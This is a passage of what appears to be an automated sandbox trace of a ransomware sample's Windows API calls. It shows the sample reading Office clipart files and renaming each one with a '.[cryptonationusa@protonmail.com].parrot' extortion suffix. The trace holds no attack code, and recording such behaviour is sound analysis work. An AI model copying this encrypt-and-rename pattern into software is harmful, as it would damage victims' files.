lpNumberOfBytesRead=0x18eed4*=0x7a04, lpOverlapped=0x0) returned 1 [0151.740] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.742] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.747] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.747] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.749] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.749] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xee4a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xee4a, lpOverlapped=0x0) returned 1 [0151.753] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0151.758] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.758] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.759] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.759] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8b96, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8b96, lpOverlapped=0x0) returned 1 [0151.763] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0151.767] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.768] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.769] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.769] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbbe0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbbe0, lpOverlapped=0x0) returned 1 [0151.772] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0151.778] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.778] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.780] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.780] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x934c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x934c, lpOverlapped=0x0) returned 1 [0151.784] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0151.789] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.789] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.791] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.791] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1948, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1948, lpOverlapped=0x0) returned 1 [0151.792] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.793] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.798] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.798] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.799] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.799] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x51ea, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x51ea, lpOverlapped=0x0) returned 1 [0151.801] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.802] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.805] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.805] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.809] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.809] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3308, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3308, lpOverlapped=0x0) returned 1 [0151.809] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.813] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.813] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.814] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.815] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27f4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27f4, lpOverlapped=0x0) returned 1 [0151.815] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.819] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.819] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.821] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.821] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb7c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb7c, lpOverlapped=0x0) returned 1 [0151.821] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0151.825] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.825] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.826] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.826] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x828, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x828, lpOverlapped=0x0) returned 1 [0151.827] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0151.830] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.830] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.831] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.831] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x704e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x704e, lpOverlapped=0x0) returned 1 [0151.832] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.839] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.839] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.843] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.843] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x143c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x143c, lpOverlapped=0x0) returned 1 [0151.924] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.930] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.930] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.931] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.931] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1544, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1544, lpOverlapped=0x0) returned 1 [0151.932] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.937] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.937] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.939] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.939] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x878, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x878, lpOverlapped=0x0) returned 1 [0151.939] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0151.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0151.944] 